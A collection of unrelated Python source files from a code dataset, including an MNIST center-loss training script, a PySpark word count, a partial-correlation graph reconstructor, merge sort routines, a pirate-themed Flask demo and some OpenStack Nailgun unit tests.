+{"seq_id":"445060421","text":"import os\nimport time\nimport datetime\nimport torch\nimport torch.nn.functional as F\nfrom torchvision import transforms\nfrom torchvision.datasets import MNIST\nfrom torch.utils.data import DataLoader\nfrom torch import nn\nfrom torch import optim as optim\nfrom matplotlib import pyplot as plt\n\nclass LeNets(nn.Module):\n def __init__(self):\n super(LeNets, self).__init__()\n self.conv1 = nn.Sequential(\n nn.Conv2d(in_channels=1,\n out_channels=32,\n kernel_size=5,\n stride=1,\n padding=2),\n nn.PReLU(),\n nn.Conv2d(in_channels=32,\n out_channels=32,\n kernel_size=5,\n stride=1,\n padding=2),\n nn.PReLU(),\n nn.MaxPool2d(kernel_size=2,\n stride=2),\n nn.Conv2d(in_channels=32,\n out_channels=64,\n kernel_size=5,\n stride=1,\n padding=2),\n nn.PReLU(),\n nn.Conv2d(in_channels=64,\n out_channels=64,\n kernel_size=5,\n stride=1,\n padding=2),\n nn.PReLU(),\n nn.MaxPool2d(kernel_size=2,\n stride=2),\n nn.Conv2d(in_channels=64,\n out_channels=128,\n kernel_size=5,\n stride=1,\n padding=2),\n nn.PReLU(),\n nn.Conv2d(in_channels=128,\n out_channels=128,\n kernel_size=5,\n stride=1,\n padding=2),\n nn.PReLU(),\n nn.MaxPool2d(kernel_size=2,\n stride=2)\n )\n\n self.liner1 = nn.Sequential(\n nn.Linear(in_features=128 * 3 * 3,\n out_features=2),\n nn.PReLU()\n )\n self.liner2 = nn.Linear(in_features=2,\n out_features=10)\n\n def forward(self,input):\n x = self.conv1(input)\n x = x.view(-1, 128*3*3)\n Coordinate = self.liner1(x)\n Predict = self.liner2(Coordinate)\n # F.log_softmax(Predict, dim=1)\n\n return Coordinate, F.log_softmax(Predict, dim=1)\n\nclass Centerloss(nn.Module):\n def __init__(self, class_num, feat_num, iscuda):\n super(Centerloss, self).__init__()\n self.iscuda = iscuda\n self.center = nn.Parameter(torch.randn(class_num, feat_num))\n if self.iscuda:\n self.center.cuda()\n\n def forward(self, coordinate, labels):\n\n labels = labels.cpu().float()\n count = torch.histc(labels, 10, min=0, max=9).cuda()\n labels = labels.cuda()\n num = torch.index_select(count, 0, labels.long())\n centers = torch.index_select(self.center, 0, labels.long())\n loss = torch.sum(torch.sqrt(torch.sum((coordinate - centers)**2, dim=1))/num)/labels.size(0)\n return loss\n\nclass Visualization:\n def __init__(self, coordinates, labels, epoch, save_path):\n self.c = ['#ff0000', '#ffff00', '#00ff00', '#00ffff', '#0000ff',\n '#ff00ff', '#990000', '#999900', '#009900', '#009999']\n self.coordinates = coordinates\n self.labels = labels\n self.epoch = epoch\n self.save_path = save_path\n self.forward()\n\n def forward(self):\n plt.ion()\n plt.clf()\n\n for i in range(10):\n plt.title('Centerloss')\n plt.plot(self.coordinates[self.labels == i, 0], self.coordinates[self.labels == i, 1], '.', color=self.c[i])\n plt.xlim(left=-5, right=5)\n plt.ylim(bottom=-5, top=5)\n plt.text(-4, 4, 'epoch={}'.format(self.epoch))\n plt.legend(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'], loc='upper right')\n if not os.path.exists(self.save_path):\n os.mkdir(self.save_path)\n plt.savefig(os.path.join(self.save_path, 'epoch={}.jpg'.format(self.epoch)))\n plt.show()\n plt.pause(0.1)\n plt.ioff()\n\nclass Train:\n def __init__(self, path, softmaxloss_para_path, centerloss_para_path, save_path, lambda_parameters, iscuda):\n self.iscuda = iscuda\n self.lenet = LeNets()\n self.nllloss = nn.NLLLoss()\n # self.nllloss = nn.CrossEntropyLoss()\n self.centerloss = Centerloss(10, 2, self.iscuda)\n self.path = path\n self.save_path = save_path\n self.softmax_para_path = softmaxloss_para_path\n self.centerloss_para_path = centerloss_para_path\n self.lambda_parameters = lambda_parameters\n\n self.optimizernn = optim.Adam(self.lenet.parameters(), lr=0.0005)\n self.optimizerct = optim.SGD(self.centerloss.parameters(), lr=0.001)\n\n if os.path.exists(self.path):\n self.lenet.load_state_dict(torch.load(self.softmax_para_path))\n self.centerloss.load_state_dict(torch.load(self.centerloss_para_path))\n if self.iscuda:\n self.lenet.cuda()\n self.centerloss.cuda()\n self.train()\n\n def train(self):\n coordinates = []\n labels = []\n flag = 1.5\n\n for i, (data, label) in enumerate(dataloder):\n if self.iscuda:\n data = data.cuda()\n label = label.cuda()\n coordinate, predict = self.lenet(data)\n\n softmaxloss = self.nllloss(predict, label)\n centerloss = self.centerloss(coordinate, label)\n loss = softmaxloss + self.lambda_parameters * centerloss\n\n coordinates.append(coordinate)\n labels.append(label)\n\n if loss < flag:\n if not os.path.exists(self.path):\n os.mkdir(self.path)\n torch.save(self.lenet.state_dict(), self.softmax_para_path)\n torch.save(self.centerloss.state_dict(), self.centerloss_para_path)\n flag = loss\n self.optimizernn.zero_grad()\n self.optimizerct.zero_grad()\n loss.backward()\n self.optimizernn.step()\n self.optimizerct.step()\n print('训练批次:{}'.format(epoch))\n print('total_loss:', loss.item())\n print('softmaxloss:', softmaxloss.item())\n print('centerlosss:', centerloss.item())\n\n coord = torch.cat(coordinates).cpu().data.numpy()\n lab = torch.cat(labels).cpu().data.numpy()\n\n if epoch % 1 == 0:\n Visualization(coord, lab, epoch, self.save_path)\n\nif __name__ == '__main__':\n start_time = time.time()\n path = './parameters8'\n softmaxloss_para_path = './parameters8/Softmaxloss.pkl'\n centerloss_para_path = './parameters8/Centerloss.pkl'\n save_path = './images8'\n\n lambda_parameters = 1\n epoch = 0\n\n mydataset = MNIST('./MNIST', train=True, transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))]), download=True)\n dataloder = DataLoader(mydataset, batch_size=128, shuffle=True, num_workers=4)\n for _ in range(100):\n train = Train(path, softmaxloss_para_path, centerloss_para_path, save_path, lambda_parameters, True)\n epoch += 1\n\n\n Train_time = (time.time() - start_time) / 60\n print('{}训练耗时:'.format('centerloss'), int(Train_time), 'minutes')\n print(datetime.datetime.now())\n","sub_path":"centerloss_mnist.py","file_name":"centerloss_mnist.py","file_ext":"py","file_size_in_byte":7502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"481056867","text":"import numpy as np\n\n\nclass IonicDynamics:\n def __init__(self,\n forces_hist: np.ndarray):\n self.forces_hist = forces_hist\n\n @property\n def forces(self):\n return self.forces_hist[-1]\n\n def get_forces(self,\n mod: str = 'mean',\n diff: bool = False):\n \"\"\"\n Args:\n mod (str, optional):\n norm - (N_steps, N_atoms) returns the norm of forces along the ionic trajectory\n mean - (N_steps, ) returns the mean value of forces' norm in simulation cell along the ionic trajectory\n max - (N_steps, ) returns the max value of forces' norm in simulation cell along the ionic trajectory\n diff (bool, optional): if True returns absolute value of forces differences between i and i+1 steps.\n If False returns just forces values at each step\n\n Returns:\n\n \"\"\"\n if mod == 'norm':\n forces = np.linalg.norm(self.forces_hist, axis=2)\n elif mod == 'mean':\n forces = np.mean(np.linalg.norm(self.forces_hist, axis=2), axis=1)\n elif mod == 'max':\n forces = np.max(np.linalg.norm(self.forces_hist, axis=2), axis=1)\n else:\n raise ValueError(f'mod should be norm/mean/max. You set {mod}')\n\n if diff:\n return np.abs(forces[1:] - forces[:-1])\n else:\n return forces\n","sub_path":"echem/core/ionic_dynamics.py","file_name":"ionic_dynamics.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"268267789","text":"def cmp(str):\r\n s1 = 'hello'\r\n index = 0\r\n\r\n for i in range(len(str)):\r\n if index == 5:\r\n return 'YES'\r\n if str[i]==s1[index]:\r\n index += 1\r\n\r\n if index == 5:\r\n return 'YES'\r\n else:\r\n return 'NO'\r\nstr = input()\r\nprint(cmp(str))\r\n\r\n\r\n\r\n\r\n'''\r\nmax = 26\r\n\r\ndef cmp_str(s1,s2):\r\n flag = False\r\n v = [0] * max\r\n for i in range(len(s1)):\r\n v[ord(s1[i])-ord('a')] = True\r\n\r\n for j in range(len(s2)):\r\n if v[ord(s2[j])- ord('a')]:\r\n flag = True\r\n\r\n else:\r\n flag = False\r\n break\r\n return flag\r\ns1 = input()\r\ns2 = 'hello'\r\nV = 0\r\nif len(s1)>5:\r\n\r\n if cmp_str(s1,s2):\r\n print('YES')\r\n V = 1\r\n else:\r\n print('NO')\r\n V = 1\r\nif V == 0:\r\n print(\"NO\")\r\n'''\r\n","sub_path":"Chat_room.py","file_name":"Chat_room.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"35473463","text":"import time\nimport configparser\nfrom dataclasses import dataclass\nfrom datetime import datetime\n\n@dataclass\nclass Action:\n time: float\n box: int\n channel: int\n action: str\n\nclass ShowRunner:\n def __init__(self, powerBoxList, player, musicDir):\n self.powerBoxList = powerBoxList\n self.player = player\n self.musicDir = musicDir\n self.curentSong = \"\"\n self.actionList = []\n\n def readScript(self, scriptName):\n print(\"Reading script: \" + self.musicDir + '/' + scriptName + '.script')\n file = open(self.musicDir + '/' + scriptName + '.script', \"r\")\n self.actionList = []\n lines = []\n for line in file:\n# print(\"Line: \" + line)\n if (line != \"\\n\") and (not line.startswith('#')):\n lines.append(line.strip('\\n'))\n\n# for line in lines:\n# print(\"Good line: \" + line)\n\n # The first line should be the file name of the song to play\n self.currentSong = lines[0]\n\n for iter in range(1, len(lines)):\n# print(lines[iter])\n tokens = lines[iter].split(' ')\n newAction = Action(tokens[0], tokens[1], tokens[2], tokens[3])\n# print(\"Adding new action...\")\n# print(\" Time: \" + newAction.time)\n# print(\" Box: \" + newAction.box)\n# print(\" Channel: \" + newAction.channel)\n# print(\" Action: \" + newAction.action)\n self.actionList.append(newAction)\n return\n\n def runScript(self, endTime):\n if self.currentSong == \"\":\n print(\"No script currently loaded.\")\n return\n\n # Start the song\n if self.currentSong != \"none\":\n self.player.playSong(self.currentSong)\n\n # Set current time to zero. This will serve as the timer for running all of the actions.\n startTime = time.time()\n\n # Loop through the actions and run them per the scripted time.\n for action in self.actionList:\n # Check to make sure we are not past the end time for the show\n now = datetime.now().time()\n if (now > endTime):\n break\n\n actionTime = float(action.time) + startTime\n currentTime = time.time()\n if (actionTime > currentTime):\n time.sleep(actionTime - currentTime)\n\n self.executeAction(action.box, action.channel, action.action)\n\n self.player.stop()\n\n return\n\n def executeAction(self, boxID, channelID, action):\n\n if str(boxID) == '*':\n for box in self.powerBoxList:\n self.powerBoxList[box].sendCmd('*', action)\n else:\n try:\n self.powerBoxList[int(boxID)].sendCmd(channelID, action)\n except Exception as e:\n print(e)\n return\n\n","sub_path":"venv/src/ShowRunner.py","file_name":"ShowRunner.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"139516831","text":"import numpy as np\nimport pandas as pd\nfrom pandas import Series, DataFrame\nimport Getmissed\n\ndef AddAge_missedval(train,Agemiss):\n train=train.drop(columns=['custAge'])\n Agemiss=Agemiss.drop(columns=['custAge'])\n train=pd.get_dummies(train)\n Agemiss=pd.get_dummies(Agemiss)\n train_col=train.columns.tolist()\n Agemiss_col=Agemiss.columns.tolist()\n for kind in Agemiss_col:\n train_col.remove(kind)\n lostval = train_col\n train_col=train.columns.tolist()\n for losskind in lostval:\n addval=np.zeros(Agemiss.shape[0])\n addindex=train_col.index(losskind)\n Agemiss.insert(addindex,losskind,addval)\n return Agemiss\n\ndef AddSchooling_missedval(train,Schoolingmiss):\n train=train.drop(columns=['schooling'])\n Schoolingmiss=Schoolingmiss.drop(columns=['schooling'])\n train=pd.get_dummies(train)\n Schoolingmiss=pd.get_dummies(Schoolingmiss)\n train_col=train.columns.tolist()\n Schoolingmiss_col=Schoolingmiss.columns.tolist()\n for kind in Schoolingmiss_col:\n train_col.remove(kind)\n lostval = train_col\n train_col=train.columns.tolist()\n for losskind in lostval:\n addval=np.zeros(Schoolingmiss.shape[0])\n addindex=train_col.index(losskind)\n Schoolingmiss.insert(addindex,losskind,addval)\n return Schoolingmiss\n\ndef AddAgeSchooling_missedval(train,AgeSchoolingmiss):\n train=train.drop(columns=['schooling','custAge'])\n AgeSchoolingmiss=AgeSchoolingmiss.drop(columns=['schooling','custAge'])\n train=pd.get_dummies(train)\n AgeSchoolingmiss=pd.get_dummies(AgeSchoolingmiss)\n train_col=train.columns.tolist()\n AgeSchoolingmiss_col=AgeSchoolingmiss.columns.tolist()\n for kind in AgeSchoolingmiss_col:\n train_col.remove(kind)\n lostval = train_col\n train_col=train.columns.tolist()\n for losskind in lostval:\n addval=np.zeros(AgeSchoolingmiss.shape[0])\n addindex=train_col.index(losskind)\n AgeSchoolingmiss.insert(addindex,losskind,addval)\n return AgeSchoolingmiss\n","sub_path":"CS282.01 Proj1/Addmissingvalue.py","file_name":"Addmissingvalue.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"382901750","text":"from random import choice\n\nfrom flask import Flask, render_template, flash, request, jsonify\nfrom wtforms import Form, TextField, TextAreaField, validators, StringField, SubmitField\n\n\napp = Flask(__name__)\napp.config.from_object(__name__)\napp.config['SECRET_KEY'] = 'bottle-o-rummmmmm'\n\n\nPIRATE_GREETINGS = ['Ahoy', 'Arr! Matey', 'Arrrrr!', \"SQWAK! 'ello\",\n\"Shiver me timbers! It's\", \"Get on to the deck\"]\n\nPIRATE_INSULTS = [\"yellow bellied, lily-livered landlubber!\",\n\"rotten sack of fermented potatoes\",\n\"rapscallion\",\n\"scallywag\"\n]\n\nPIRATE_BOOTY = {\n\"chops\": ['No compromise attitude', 'FR', 'Sales smarts'],\n\"growth\": ['Funnel metrics', 'Social Media', 'Blogs, blogs and more blogs'],\n\"communiteam\": ['Influencers','CLCC', 'Rolling paper']\n}\n\nINVALID_DECK = \"Gimme a valid deck\"\nINVALID_NAME = \"Gimme a name\"\n\n\n# forms\nclass ReusableForm(Form):\n name = TextField('Department Name:', validators=[validators.required()])\n\n\n# helpers\ndef get_department_booty(department_name):\n\n lowercase_department_name = department_name.lower()\n\n booty = PIRATE_BOOTY.get(lowercase_department_name, None)\n\n return booty\n\n\ndef get_all_departments():\n return list(PIRATE_BOOTY.keys())\n\ndef booty_error_message_generator():\n random_insult = choice(PIRATE_INSULTS)\n error_message = '{0}, ye {1}'.format(INVALID_DECK, random_insult)\n return error_message\n\ndef return_invalid_department_id_error():\n invalid_department_payload = {\"status\": False,\n \"message\": \"Please provide a department id\"}\n response = jsonify(invalid_department_payload)\n response.status_code = 400\n\n return response\n\n\n# controllers\n@app.route(\"/\")\ndef hello():\n # return \"Ahoy, Pirates!\"\n return render_template('ahoy.html')\n\n\n\n@app.route(\"/pirate/\")\n@app.route(\"/pirate/\")\ndef pirate_greet(pirate_name=None):\n\n if not pirate_name:\n\n random_insult = choice(PIRATE_INSULTS).lower()\n return \"{0}, ye {1}\".format(INVALID_NAME, random_insult)\n\n random_greeting = choice(PIRATE_GREETINGS)\n\n return \"{0} {1}!\".format(random_greeting, pirate_name.title())\n\n\n# form for getting name and corresponding pirate booty\n@app.route(\"/booty\", methods=['GET', 'POST'])\ndef department_booty():\n form = ReusableForm(request.form)\n error_message = None\n all_departments = get_all_departments()\n department_booty = None\n\n if request.method == 'POST':\n\n name = request.form.get('name', None)\n\n if form.validate():\n\n department_booty = get_department_booty(name)\n\n if department_booty is None:\n error_message = booty_error_message_generator()\n\n else:\n error_message = booty_error_message_generator()\n\n return render_template('get_booty.html', form=form,\n error_message=error_message,\n department_booty=department_booty,\n all_departments=all_departments)\n\n\n@app.route(\"/decks/\", methods=['GET', 'POST'])\ndef ithaka_decks():\n DEPARTMENT_DATA = [\n {\"name\": \"Engineering\", \"bio\": \"Bad at copywriting.\", \"id\": 1},\n {\"name\": \"Product\", \"bio\": \"Require more sleep.\", \"id\": 2},\n {\"name\": \"Growth\", \"bio\": \"Discuss about funnel conversions and throughputs.\", \"id\": 3},\n {\"name\": \"ChOps\", \"bio\": \"The secret sauce <3\", \"id\": 4},\n {\"name\": \"Business\", \"bio\": \"Onboarding vendors like a boss\", \"id\": 5},\n {\"name\": \"Communiteam\", \"bio\": \"Data and Sutta and Chai and Love\", \"id\": 6}\n ]\n\n if request.method == 'GET':\n response = jsonify(DEPARTMENT_DATA)\n response.status_code = 200\n\n\n elif request.method == 'POST':\n new_data = request.get_json('data')\n DEPARTMENT_DATA.append(new_data)\n response = jsonify(DEPARTMENT_DATA)\n response.status_code = 201\n\n # elif request.method == 'PUT':\n # if not department_id:\n # return return_invalid_department_id_error()\n #\n # if int(department_id) not in all_department_ids:\n # return return_invalid_department_id_error()\n\n # DEPARTMENT_DATA = parse_put_data(existing_all_department_data=required_department_data,\n # name=department_name)\n\n return response\n","sub_path":"flask-demo/tgi-flask.py","file_name":"tgi-flask.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"161978271","text":"from pyspark import SparkContext, SparkConf\n\nif __name__ == \"__main__\":\n # create SparkContext, which is imported from pyspark API\n # this context is the entry point to Spark Core\n # our Spark App is word count\n # will run Spark app on embedded Spark instance on our local box, which could use up to 3 cores of our CPU\n # sc.setLogLevel(\"ERROR\")\n # above not necessary if change Spark config files\n conf = SparkConf().setAppName(\"word count\").setMaster(\"local[3]\")\n sc = SparkContext(conf = conf)\n\n # load word count file as an RDD (resilient distrubted dataset)\n lines = sc.textFile(\"in/word_count.text\")\n\n #split article into words, whitespace as delimiter\n words = lines.flatMap(lambda line: line.split(\" \"))\n\n #calculate occurrence of each word\n wordCounts = words.countByValue()\n\n #print out the results\n for word, count in wordCounts.items():\n print(\"{} : {}\".format(word, count))\n","sub_path":"rdd/WordCount.py","file_name":"WordCount.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"476035165","text":"\"\"\"\npartial_correlation_influence.py\n--------------------------------\n\nReconstruction of graphs using the partial correlation influence, as defined in:\n\nKenett, D. Y. et al. Dominating clasp of the financial sector revealed by\npartial correlation analysis of the stock market. PLoS ONE 5, e15032 (2010).\n\nThe index variable option as in:\n\nKenett, D. Y., Huang, X., Vodenska, I., Havlin, S. & Stanley, H. E. Partial correlation\nanalysis: applications for financial markets. Quantitative Finance 15, 569–578 (2015).\n\n\nauthor: Carolina Mattsson\nemail: mattsson dot c at northeastern dot edu\nSubmitted as part of the 2019 NetSI Collabathon\n\"\"\"\nfrom .base import BaseReconstructor\nimport numpy as np\nimport networkx as nx\nfrom scipy import stats, linalg\nfrom ..utilities import create_graph, threshold\n\n\nclass PartialCorrelationInfluence(BaseReconstructor):\n \"\"\"Uses average effect from a sensor to all others.\"\"\"\n\n def fit(self, TS, index=None, threshold_type='range', **kwargs):\n r\"\"\"Uses the average effect of a series :math:`Z` on the correlation between\n a series :math:`X` and all other series.\n\n The partial correlation influence:\n\n .. math::\n\n d(X:Z) = _Y \\neq X,\n\n where :math:`d(X,Y:Z) = \\rho(X,Y) - \\rho(X,Y:Z)`\n\n\n If an index is given, both terms become partial correlations:\n\n .. math::\n\n d(X,Y:Z) ≡ ρ(X,Y:M) − ρ(X,Y:M,Z)\n\n\n The results dictionary also stores the matrix of partial\n correlations as `'weights_matrix'` and the thresholded version of\n the partial correlation matrix as `'thresholded_matrix'`.\n\n Parameters\n ----------\n\n index (int, array of ints, or None)\n Take the partial correlations of each pair of elements holding\n constant an index variable or set of index variables. If None,\n take the partial correlations of the variables holding constant\n all other variables.\n\n threshold_type (str):\n Which thresholding function to use on the matrix of\n weights. See `netrd.utilities.threshold.py` for\n documentation. Pass additional arguments to the thresholder\n using ``**kwargs``.\n\n Returns\n -------\n\n G (nx.Graph)\n a reconstructed graph.\n\n References\n -----------\n\n .. [1] Kenett, D. Y. et al. Dominating clasp of the financial\n sector revealed by partial correlation analysis of the stock\n market. PLoS ONE 5, e15032 (2010).\n\n .. [2] Kenett, D. Y., Huang, X., Vodenska, I., Havlin, S. &\n Stanley, H. E. Partial correlation analysis: applications\n for financial markets. Quantitative Finance 15, 569–578\n (2015).\n\n \"\"\"\n if index:\n p_cor = partial_corr(TS, index=index)\n n_TS = p_cor.shape[0]\n p_cor = np.delete(p_cor, index, axis=0)\n p_cor = np.delete(p_cor, index, axis=1)\n else:\n p_cor = partial_corr(TS)\n\n np.fill_diagonal(p_cor, float(\"nan\"))\n\n n = p_cor.shape[0]\n\n p_cor_zs = np.zeros((n, n, n))\n\n if index:\n for k, z in enumerate(np.delete(range(n_TS), index)):\n index_z = np.append(index, z)\n p_cor_z = partial_corr(TS, index=index_z)\n p_cor_z = np.delete(p_cor_z, index, axis=0)\n p_cor_z = np.delete(p_cor_z, index, axis=1)\n p_cor_z = p_cor - p_cor_z\n p_cor_z[:, k] = float(\"nan\")\n p_cor_z[k, :] = -np.inf\n p_cor_zs[z] = p_cor_z\n else:\n index = np.array([], dtype=int)\n for z in range(n):\n index_z = z\n p_cor_z = partial_corr(TS, index=index_z)\n p_cor_z = p_cor - p_cor_z\n p_cor_z[:, z] = float(\"nan\")\n p_cor_z[z, :] = -np.inf\n p_cor_zs[z] = p_cor_z\n\n p_cor_inf = np.nanmean(p_cor_zs, axis=2) # mean over the Y axis\n\n self.results['weights_matrix'] = p_cor_inf\n\n # threshold the network\n W_thresh = threshold(p_cor_inf, threshold_type, **kwargs)\n\n # construct the network\n self.results['graph'] = create_graph(W_thresh)\n self.results['thresholded_matrix'] = W_thresh\n\n G = self.results['graph']\n\n return G\n\n\n# This partial correlation function is adapted from Fabian Pedregosa-Izquierdo's\n# implementation of partial correlation in Python, found at [this gist](\n# https://gist.github.com/fabianp/9396204419c7b638d38f)\n\"\"\"\nPartial Correlation in Python (clone of Matlab's partialcorr)\n\nThis uses the linear regression approach to compute the partial\ncorrelation (might be slow for a huge number of variables). The\nalgorithm is detailed here:\n\n http://en.wikipedia.org/wiki/Partial_correlation#Using_linear_regression\n\nTaking X and Y two variables of interest and Z the matrix with all the variable minus {X, Y},\nthe algorithm can be summarized as\n\n 1) perform a normal linear least-squares regression with X as the target and Z as the predictor\n 2) calculate the residuals in Step #1\n 3) perform a normal linear least-squares regression with Y as the target and Z as the predictor\n 4) calculate the residuals in Step #3\n 5) calculate the correlation coefficient between the residuals from Steps #2 and #4;\n\n The result is the partial correlation between X and Y while controlling for the effect of Z\n\n\nDate: Nov 2014\nAuthor: Fabian Pedregosa-Izquierdo, f@bianp.net\nTesting: Valentina Borghesani, valentinaborghesani@gmail.com\n\"\"\"\n\n\ndef partial_corr(C, index=None):\n \"\"\"Returns the sample linear partial correlation coefficients between pairs of\n variables in C, controlling for the remaining variables in C.\n\n\n Parameters\n ----------\n C : array-like, shape (p, n)\n Array with the different variables. Each row of C is taken as a variable\n\n\n Returns -------\n P : array-like, shape (p, p)\n P[i, j] contains the partial correlation of C[:, i] and C[:, j]\n controlling for the remaining variables in C.\n\n \"\"\"\n\n C = np.asarray(C).T\n p = C.shape[1]\n P_corr = np.zeros((p, p), dtype=np.float)\n\n for i in range(p):\n P_corr[i, i] = 1\n for j in range(i + 1, p):\n if index is None:\n idx = np.ones(p, dtype=np.bool)\n idx[i] = False\n idx[j] = False\n elif type(index) is int or (\n isinstance(index, np.ndarray)\n and issubclass(index.dtype.type, np.integer)\n ):\n idx = np.zeros(p, dtype=np.bool)\n idx[index] = True\n else:\n raise ValueError(\n \"Index must be an integer, an array of \" \"integers, or None.\"\n )\n\n beta_i = linalg.lstsq(C[:, idx], C[:, j])[0]\n beta_j = linalg.lstsq(C[:, idx], C[:, i])[0]\n\n res_j = C[:, j] - C[:, idx].dot(beta_i)\n res_i = C[:, i] - C[:, idx].dot(beta_j)\n\n corr = stats.pearsonr(res_i, res_j)[0]\n P_corr[i, j] = corr\n P_corr[j, i] = corr\n\n return P_corr\n","sub_path":"netrd/reconstruction/partial_correlation_influence.py","file_name":"partial_correlation_influence.py","file_ext":"py","file_size_in_byte":7248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"69153637","text":"# no need for helper function\ndef merge_sort(arr):\n if len(arr) <= 1: # already sorted\n return arr\n\n # merge-sort each half\n mid = len(arr) // 2\n arrA = merge_sort(arr[:mid])\n arrB = merge_sort(arr[mid:])\n\n # merge\n merged = []\n i = j = 0\n while i < len(arrA) and j < len(arrB):\n if arrA[i] < arrB[j]:\n merged.append(arrA[i])\n i += 1\n else:\n merged.append(arrB[j])\n j += 1\n # append any leftover elements if necessary\n if i < len(arrA):\n merged.extend(arrA[i:])\n if j < len(arrB):\n merged.extend(arrB[j:])\n\n return merged\n\n\n# minor irritation; 'in place' implies no return value, but literally editing\n# the array's object in memory, but the tests require a return value -_-\ndef merge_sort_in_place(arr: list, left=0, right=None):\n right = len(arr) - 1 if right is None else right\n\n if left >= right: # already sorted; size <= 1\n return arr\n\n # merge-sort each half\n mid1 = (left + right) // 2\n mid2 = mid1 + 1\n arr = merge_sort_in_place(arr, left, mid1)\n arr = merge_sort_in_place(arr, mid2, right)\n\n # merge\n while mid2 <= right:\n if arr[left] > arr[mid2]:\n arr.insert(left, arr.pop(mid2))\n mid2 += 1\n elif left < mid2 - 1:\n left += 1\n else:\n mid2 += 1\n return arr\n\n\n# STRETCH: implement the Timsort function below\n# hint: check out https://github.com/python/cpython/blob/master/Objects/listsort.txt\ndef timsort(arr):\n # Your code here\n\n return arr\n","sub_path":"src/recursive_sorting/recursive_sorting.py","file_name":"recursive_sorting.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"382657196","text":"class Okul:\r\n\t\tdef __init__(self, isim, yil, puan, sehir, okulnumarasi):\r\n\t\t\t\tself.isim = isim\r\n\t\t\t\tself.yil = yil\r\n\t\t\t\tself.puan = puan\r\n\t\t\t\tself.sehir = sehir\r\n\t\t\t\tself.okulnumarasi = okulnumarasi\r\n\t\t\t\tprint(\"Okul ismi \\t\\t\\t\\t:\\t\", isim,\r\n\t\t\t\t\t\t\t\"\\nOkul kuruluş yılı \\t:\\t\", yil,\r\n\t\t\t\t\t\t\t\"\\nOkul puanı \\t\\t\\t\\t:\\t\", puan, \"\\nOkul is in\", sehir,\r\n\t\t\t\t\t\t\t\"\\nOkul da\", okulnumarasi, \"öğrenci.\")\r\n\r\n\r\nclass PrimaryOkul(Okul):\r\n\t\tdef __init__(self, isim, yil, puan, sehir, okulnumarasi, femaleStudents):\r\n\t\t\t\tsuper().__init__(isim, yil, puan, sehir, okulnumarasi)\r\n\t\t\t\tself.femaleStudents = femaleStudents\r\n\t\t\t\tprint(\"Okul da\", femaleStudents, \"kız öğrenci.\")\r\n\r\n\r\nclass HighOkul(Okul):\r\n\t\tdef __init__(self, isim, yil, puan, sehir, okulnumarasi, mathClasses):\r\n\t\t\t\tsuper().__init__(isim, yil, puan, sehir, okulnumarasi)\r\n\t\t\t\tself.mathClasses = mathClasses\r\n\t\t\t\tprint(\"Okul has\", mathClasses, \"Sayısal bölümü.\")\r\n\r\n\r\nogü = Okul(\"Eskişehir Osmangazi Üniversitesi\", 1975, 518, \"Eskişehir\", 80489)\r\nprint(\"# \" + \"=\" * 78 + \" #\")\r\nkars = PrimaryOkul(\"Kılıç Arslan İlköğretim\", 1992, 785, \"Mersin\", 900, 248)\r\nprint(\"# \" + \"=\" * 78 + \" #\")\r\ncumcum = HighOkul(\"Cumhuriyet Lisesi\", 1963, 358, \"Aydın\", 1800, 28)\r\n","sub_path":"Python - Problem Set - 5/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"52184116","text":"# Copyright 2014 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom mock import patch\n\nfrom nailgun.test import base\n\nfrom nailgun.orchestrator import deployment_serializers\n\n\nCREDS = {'tenant': {'value': 'NONDEFAULT'}}\n\n\nclass TestNeutronDeploymentSerializer(base.BaseTestCase):\n\n def setUp(self):\n super(TestNeutronDeploymentSerializer, self).setUp()\n self.env.create(cluster_kwargs={'net_provider': 'neutron'})\n self.cluster = self.env.clusters[0]\n self.serializer = (deployment_serializers.\n NeutronNetworkDeploymentSerializer)\n\n def verify_network_tenant(self, network):\n self.assertEqual(network['tenant'], CREDS['tenant']['value'])\n\n @patch(('nailgun.orchestrator.deployment_serializers.objects.'\n 'Cluster.get_creds'), return_value=CREDS)\n def test_internal_network_changes_tenant_name(self, creds):\n int_network = self.serializer._generate_internal_network(self.cluster)\n self.verify_network_tenant(int_network)\n\n @patch(('nailgun.orchestrator.deployment_serializers.objects.'\n 'Cluster.get_creds'), return_value=CREDS)\n def test_external_network_changes_tenant_name(self, creds):\n ext_network = self.serializer._generate_external_network(self.cluster)\n self.verify_network_tenant(ext_network)\n\n @patch(('nailgun.orchestrator.deployment_serializers.objects.'\n 'Cluster.get_creds'), return_value=CREDS)\n def test_predefined_networks_tenant_name(self, creds):\n predefined_network = self.serializer.generate_predefined_networks(\n self.cluster)\n self.verify_network_tenant(predefined_network['net04'])\n 